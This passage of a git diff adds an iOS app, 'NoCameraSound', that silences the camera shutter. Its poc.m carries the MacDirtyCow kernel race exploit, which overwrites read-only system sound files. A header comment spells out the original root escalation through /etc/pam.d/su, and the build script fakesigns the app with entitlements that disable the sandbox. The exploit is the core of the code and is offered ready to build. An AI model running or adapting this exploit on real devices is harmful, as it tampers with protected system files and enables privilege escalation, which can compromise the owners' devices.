ScreenShot", nil) + style:UIAlertActionStyleDefault handler:^(UIAlertAction * action) { + self->_running.hidden = false; + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 2 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{ + startr_0(); + }); +}]; +UIAlertAction *secondAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"Video Recording (Start)", nil) + style:UIAlertActionStyleDefault handler:^(UIAlertAction * action) { + self->_running.hidden = false; + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 2 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{ + startr_1(); + }); +}]; +UIAlertAction *thirdAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"Video Recording (End)", nil) + style:UIAlertActionStyleDefault handler:^(UIAlertAction * action) { + self->_running.hidden = false; + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 2 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{ + startr_2(); + }); +}]; +UIAlertAction *fourthAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"Close", nil) + style:UIAlertActionStyleCancel handler:^(UIAlertAction * action) { + }]; + + [alert addAction:firstAction]; + [alert addAction:secondAction]; + [alert addAction:thirdAction]; + [alert addAction:fourthAction]; + [self presentViewController:alert animated:YES completion:nil]; +} + +- (IBAction)info:(id)sender { + NSString *version = [[[NSBundle mainBundle] infoDictionary] objectForKey:@"CFBundleShortVersionString"]; + NSString *versionText = @"NoCameraSound v"; + NSString *fullversion = [versionText stringByAppendingString:version]; + UIApplication *application = [UIApplication sharedApplication]; + NSURL *URL = [NSURL URLWithString:@"https://github.com/straight-tamago/NoCameraSound"]; + NSURL *URL2 = [NSURL URLWithString:@"https://github.com/zhuowei/MacDirtyCowDemo"]; + + UIAlertController *alert = [UIAlertController alertControllerWithTitle:fullversion + message:NSLocalizedString(@"by straight-tamago", nil) + preferredStyle:UIAlertControllerStyleAlert]; + UIAlertAction *firstAction = [UIAlertAction actionWithTitle:@"Source Code" + style:UIAlertActionStyleDefault handler:^(UIAlertAction * action) { + [application openURL:URL options:@{} completionHandler:^(BOOL success) { + if (success) { + NSLog(@"Success"); + } + }]; + }]; + UIAlertAction *secondAction = [UIAlertAction actionWithTitle:@"MacDirtyCowDemo (Exploit)" + style:UIAlertActionStyleDefault handler:^(UIAlertAction * action) { + [application openURL:URL2 options:@{} completionHandler:^(BOOL success) { + if (success) { + NSLog(@"Success"); + } + }]; + }]; + UIAlertAction *thirdAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"Close", nil) + style:UIAlertActionStyleCancel handler:^(UIAlertAction * action) { + }]; + + [alert addAction:firstAction]; + [alert addAction:secondAction]; + [alert addAction:thirdAction]; + + [self presentViewController:alert animated:YES completion:nil]; + +} +@end diff --git a/NoCameraSound/en.lproj/Main.strings b/NoCameraSound/en.lproj/Main.strings new file mode 100644 index 0000000..f977a1b --- /dev/null +++ b/NoCameraSound/en.lproj/Main.strings @@ -0,0 +1,12 @@ + +/* Class = "UIButton"; configuration.title = "Disable Shutter Sound"; ObjectID = "3JV-RE-y9F"; */ +"3JV-RE-y9F.configuration.title" = "Disable Shutter Sound"; + +/* Class = "UIButton"; normalTitle = "Button"; ObjectID = "3JV-RE-y9F"; */ +"3JV-RE-y9F.normalTitle" = "Button"; + +/* Class = "UILabel"; text = "NoCameraSound"; ObjectID = "5fr-iM-fEy"; */ +"5fr-iM-fEy.text" = "NoCameraSound"; + +/* Class = "UIButton"; normalTitle = "Button"; ObjectID = "tjJ-np-Gq7"; */ +"tjJ-np-Gq7.normalTitle" = "Button"; diff --git a/NoCameraSound/ja.lproj/LaunchScreen.strings b/NoCameraSound/ja.lproj/LaunchScreen.strings new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/NoCameraSound/ja.lproj/LaunchScreen.strings @@ -0,0 +1 @@ + diff --git a/NoCameraSound/ja.lproj/Localizable.strings b/NoCameraSound/ja.lproj/Localizable.strings new file mode 100644 index 0000000..2e71445 --- /dev/null +++ b/NoCameraSound/ja.lproj/Localizable.strings @@ -0,0 +1,15 @@ +/* + Localizable.strings + NoCameraSound + + Created by mini on 2022/12/27. + +*/ + +"by straight-tamago" = "by すとれーとたまご★"; +"Close" = "閉じる"; +"Select Operation" = "操作を選択"; +"When the process is complete, this app will crash, but the shutter sound should be gone. (It will return to normal after a certain period of time or restart)" = "処理が完了するとこのアプリは落ちるけど、シャッター音は消えてるはずだよ。(一定時間経過or再起動で戻る)"; +"Photo & ScreenShot" = "写真撮影(スクショを含む)"; +"Video Recording (Start)" = "動画撮影開始(画面収録を含む)"; +"Video Recording (End)" = "動画撮影終了(画面収録を含む)"; diff --git a/NoCameraSound/ja.lproj/Main.strings b/NoCameraSound/ja.lproj/Main.strings new file mode 100644 index 0000000..9b56ceb --- /dev/null +++ b/NoCameraSound/ja.lproj/Main.strings @@ -0,0 +1,12 @@ + +/* Class = "UIButton"; configuration.title = "シャッター音 無効化"; ObjectID = "3JV-RE-y9F"; */ +"3JV-RE-y9F.configuration.title" = "Button"; + +/* Class = "UIButton"; normalTitle = "Button"; ObjectID = "3JV-RE-y9F"; */ +"3JV-RE-y9F.normalTitle" = "シャッター音 無効化"; + +/* Class = "UILabel"; text = "NoCameraSound"; ObjectID = "5fr-iM-fEy"; */ +"5fr-iM-fEy.text" = "NoCameraSound"; + +/* Class = "UIButton"; normalTitle = "Button"; ObjectID = "tjJ-np-Gq7"; */ +"tjJ-np-Gq7.normalTitle" = "Button"; diff --git a/NoCameraSound/main.m b/NoCameraSound/main.m new file mode 100644 index 0000000..04fcd7f --- /dev/null +++ b/NoCameraSound/main.m @@ -0,0 +1,18 @@ +// +// main.m +// NoCameraSound +// +// Created by mini on 2022/12/26. +// + +#import +#import "AppDelegate.h" + +int main(int argc, char * argv[]) { + NSString * appDelegateClassName; + @autoreleasepool { + // Setup code that might create autoreleased objects goes here. + appDelegateClassName = NSStringFromClass([AppDelegate class]); + } + return UIApplicationMain(argc, argv, nil, appDelegateClassName); +} diff --git a/NoCameraSound/poc.h b/NoCameraSound/poc.h new file mode 100644 index 0000000..331bfe0 --- /dev/null +++ b/NoCameraSound/poc.h @@ -0,0 +1,15 @@ +// +// Header.h +// No Camera Sound +// +// Created by すとれーとたまご★ on 2022/12/26. +// + +#ifndef poc_h +#define poc_h + +#include +void startr_0(void); +void startr_1(void); +void startr_2(void); +#endif /* Header_h */ diff --git a/NoCameraSound/poc.m b/NoCameraSound/poc.m new file mode 100644 index 0000000..a12966b --- /dev/null +++ b/NoCameraSound/poc.m @@ -0,0 +1,366 @@ +// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c +// modified to compile outside of XNU + +// clang -o switcharoo vm_unaligned_copy_switch_race.c +// sed -e "s/rootok/permit/g" /etc/pam.d/su > overwrite_file.bin +// ./switcharoo /etc/pam.d/su overwrite_file.bin +// su +@import Foundation; +#include +#include +#include + +#include +#include +#include + +#include +#include + +#define T_QUIET +#define T_EXPECT_MACH_SUCCESS(a, b) +#define T_EXPECT_MACH_ERROR(a, b, c) +#define T_ASSERT_MACH_SUCCESS(a, b, ...) +#define T_ASSERT_MACH_ERROR(a, b, c) +#define T_ASSERT_POSIX_SUCCESS(a, b) +#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) +#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) +#define T_ASSERT_TRUE(a, b, ...) +#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) +#define T_DECL(a, b) static void a(void) +#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) + +static const char* g_arg_target_file_path; +static const char* g_arg_overwrite_file_path; + +struct context1 { + vm_size_t obj_size; + vm_address_t e0; + mach_port_t mem_entry_ro; + mach_port_t mem_entry_rw; + dispatch_semaphore_t running_sem; + pthread_mutex_t mtx; + bool done; +}; + +static void * +switcheroo_thread(__unused void *arg) +{ + kern_return_t kr; + struct context1 *ctx; + + ctx = (struct context1 *)arg; + /* tell main thread we're ready to run */ + dispatch_semaphore_signal(ctx->running_sem); + while (!ctx->done) { + /* wait for main thread to be done setting things up */ + pthread_mutex_lock(&ctx->mtx); + /* switch e0 to RW mapping */ + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, + ctx->mem_entry_rw, + 0, + FALSE, /* copy */ + VM_PROT_READ | VM_PROT_WRITE, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW"); + /* wait a little bit */ + usleep(100); + /* switch bakc to original RO mapping */ + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ, + VM_PROT_READ, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO"); + /* tell main thread we're don switching mappings */ + pthread_mutex_unlock(&ctx->mtx); + usleep(100); + } + return NULL; +} + +T_DECL(unaligned_copy_switch_race, + "Test that unaligned copy respects read-only mapping") +{ + pthread_t th = NULL; + int ret; + kern_return_t kr; + time_t start, duration; + mach_msg_type_number_t cow_read_size; + vm_size_t copied_size; + int loops; + vm_address_t e2, e5; + struct context1 context1, *ctx; + int kern_success = 0, kern_protection_failure = 0, kern_other = 0; + vm_address_t ro_addr, tmp_addr; + memory_object_size_t mo_size; + + ctx = &context1; + ctx->obj_size = 256 * 1024; + ctx->e0 = 0; + ctx->running_sem = dispatch_semaphore_create(0); + T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create"); + ret = pthread_mutex_init(&ctx->mtx, NULL); + T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init"); + ctx->done = false; + ctx->mem_entry_rw = MACH_PORT_NULL; + ctx->mem_entry_ro = MACH_PORT_NULL; +#if 0 + /* allocate our attack target memory */ + kr = vm_allocate(mach_task_self(), + &ro_addr, + ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr"); + /* initialize to 'A' */ + memset((char *)ro_addr, 'A', ctx->obj_size); +#endif + int fd = open(g_arg_target_file_path, O_RDONLY | O_CLOEXEC); + ro_addr = (uintptr_t)mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, fd, 0); + /* make it read-only */ + kr = vm_protect(mach_task_self(), + ro_addr, + ctx->obj_size, + TRUE, /* set_maximum */ + VM_PROT_READ); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr"); + /* make sure we can't get read-write handle on that target memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + ro_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, + &ctx->mem_entry_ro, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO"); + /* take read-only handle on that target memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + ro_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ, + &ctx->mem_entry_ro, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO"); + T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); + /* make sure we can't map target memory as writable */ + tmp_addr = 0; + kr = vm_map(mach_task_self(), + &tmp_addr, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_ANYWHERE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); + tmp_addr = 0; + kr = vm_map(mach_task_self(), + &tmp_addr, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_ANYWHERE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ | VM_PROT_WRITE, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); + + /* allocate a source buffer for the unaligned copy */ + kr = vm_allocate(mach_task_self(), + &e5, + ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5"); + /* initialize to 'C' */ + memset((char *)e5, 'C', ctx->obj_size); + + FILE* overwrite_file = fopen(g_arg_overwrite_file_path, "r"); + fseek(overwrite_file, 0, SEEK_END); + size_t overwrite_length = ftell(overwrite_file); + if (overwrite_length >= PAGE_SIZE) { + fprintf(stderr, "too long!\n"); + exit(1); + } + fseek(overwrite_file, 0, SEEK_SET); + char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - overwrite_length); + fread(e5_overwrite_ptr, 1, overwrite_length, overwrite_file); + fclose(overwrite_file); + + int overwrite_first_diff_offset = -1; + char overwrite_first_diff_value = 0; + for (int off = 0; off < overwrite_length; off++) { + if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) { + overwrite_first_diff_offset = off; + overwrite_first_diff_value = ((char*)ro_addr)[off]; + } + } + if (overwrite_first_diff_offset == -1) { + fprintf(stderr, "no diff?\n"); + exit(1); + } + + /* + * get a handle on some writable memory that will be temporarily + * switched with the read-only mapping of our target memory to try + * and trick copy_unaligned to write to our read-only target. + */ + tmp_addr = 0; + kr = vm_allocate(mach_task_self(), + &tmp_addr, + ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory"); + /* initialize to 'D' */ + memset((char *)tmp_addr, 'D', ctx->obj_size); + /* get a memory entry handle for that RW memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + tmp_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, + &ctx->mem_entry_rw, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW"); + T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); + kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr); + tmp_addr = 0; + + pthread_mutex_lock(&ctx->mtx); + + /* start racing thread */ + ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx); + T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create"); + + /* wait for racing thread to be ready to run */ + dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER); + + duration = 10; /* 10 seconds */ + T_LOG("Testing for %ld seconds...", duration); + for (start = time(NULL), loops = 0; + time(NULL) < start + duration; + loops++) { + /* reserve space for our 2 contiguous allocations */ + e2 = 0; + kr = vm_allocate(mach_task_self(), + &e2, + 2 * ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0"); + + /* make 1st allocation in our reserved space */ + kr = vm_allocate(mach_task_self(), + &e2, + ctx->obj_size, + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240)); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2"); + /* initialize to 'B' */ + memset((char *)e2, 'B', ctx->obj_size); + + /* map our read-only target memory right after */ + ctx->e0 = e2 + ctx->obj_size; + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241), + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ, + VM_PROT_READ, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro"); + + /* let the racing thread go */ + pthread_mutex_unlock(&ctx->mtx); + /* wait a little bit */ + usleep(100); + + /* trigger copy_unaligned while racing with other thread */ + kr = vm_read_overwrite(mach_task_self(), + e5, + ctx->obj_size, + e2 + overwrite_length, + &copied_size); + T_QUIET; + T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE, + "vm_read_overwrite kr %d", kr); + switch (kr) { + case KERN_SUCCESS: + /* the target was RW */ + kern_success++; + break; + case KERN_PROTECTION_FAILURE: + /* the target was RO */ + kern_protection_failure++; + break; + default: + /* should not happen */ + kern_other++; + break; + } + /* check that our read-only memory was not modified */ + T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified"); + + /* tell racing thread to stop toggling mappings */ + pthread_mutex_lock(&ctx->mtx); + + /* clean up before next loop */ + vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size); + ctx->e0 = 0; + vm_deallocate(mach_task_self(), e2, ctx->obj_size); + e2 = 0; + } + + ctx->done = true; + pthread_join(th, NULL); + + kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)"); + kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)"); + kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)"); + kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)"); + + + T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d", + kern_success, kern_protection_failure, kern_other); + T_PASS("Ran %d times in %ld seconds with no failure", loops, duration); +} + +void startr_0(void) { + g_arg_target_file_path = "/System/Library/Audio/UISounds/photoShutter.caf"; + g_arg_overwrite_file_path = "/etc/hosts"; + unaligned_copy_switch_race(); +} +void startr_1(void) { + g_arg_target_file_path = "/System/Library/Audio/UISounds/begin_record.caf"; + g_arg_overwrite_file_path = "/etc/hosts"; + unaligned_copy_switch_race(); +} +void startr_2(void) { + g_arg_target_file_path = "/System/Library/Audio/UISounds/end_record.caf"; + g_arg_overwrite_file_path = "/etc/hosts"; + unaligned_copy_switch_race(); +} + diff --git a/build.command b/build.command new file mode 100755 index 0000000..bc14905 --- /dev/null +++ b/build.command @@ -0,0 +1,42 @@ +#!/bin/bash + +set -e + +cd "$(dirname "$0")" + +WORKING_LOCATION="$(pwd)" +APPLICATION_NAME=NoCameraSound +rm -rf build +mkdir build + +cd build + +xcodebuild -project "$WORKING_LOCATION/$APPLICATION_NAME.xcodeproj" \ + -scheme "$APPLICATION_NAME" \ + -configuration Release \ + -derivedDataPath "$WORKING_LOCATION/build/DerivedDataApp" \ + -destination 'generic/platform=iOS' \ + clean build \ + ONLY_ACTIVE_ARCH="NO" \ + CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO CODE_SIGN_ENTITLEMENTS="" CODE_SIGNING_ALLOWED="NO" \ + +DD_APP_PATH="$WORKING_LOCATION/build/DerivedDataApp/Build/Products/Release-iphoneos/$APPLICATION_NAME.app" +TARGET_APP="$WORKING_LOCATION/build/$APPLICATION_NAME.app" +cp -r "$DD_APP_PATH" "$TARGET_APP" + +codesign --remove "$TARGET_APP" +if [ -e "$TARGET_APP/_CodeSignature" ]; then + rm -rf "$TARGET_APP/_CodeSignature" +fi +if [ -e "$TARGET_APP/embedded.mobileprovision" ]; then + rm -rf "$TARGET_APP/embedded.mobileprovision" +fi + +ldid -S"$WORKING_LOCATION/entitlements.plist" "$TARGET_APP/$APPLICATION_NAME" +mkdir Payload +cp -r NoCameraSound.app Payload/NoCameraSound.app +zip -vr NoCameraSound.ipa Payload +rm -rf NoCameraSound.app +rm -rf DerivedDataApp +rm -rf Payload +zip -vr share.zip NoCameraSound.ipa \ No newline at end of file diff --git a/entitlements.plist b/entitlements.plist new file mode 100644 index 0000000..ced07a6 --- /dev/null +++ b/entitlements.plist @@ -0,0 +1,38 @@ + + + + + platform-application + + com.apple.security.exception.files.absolute-path.read-write + + / + + com.apple.private.security.no-container + + com.apple.private.security.no-sandbox + + com.apple.private.persona-mgmt + + com.apple.private.security.system-application + + com.apple.private.security.container-manager + + com.apple.private.coreservices.canmaplsdatabase + + com.apple.lsapplicationworkspace.rebuildappdatabases + + com.apple.private.MobileContainerManager.allowed + + com.apple.private.MobileInstallationHelperService.InstallDaemonOpsEnabled + + com.apple.private.MobileInstallationHelperService.allowed + + com.apple.private.uninstall.deletion + + com.apple.private.security.storage.MobileDocuments + + com.apple.managedconfiguration.profiled-access + + +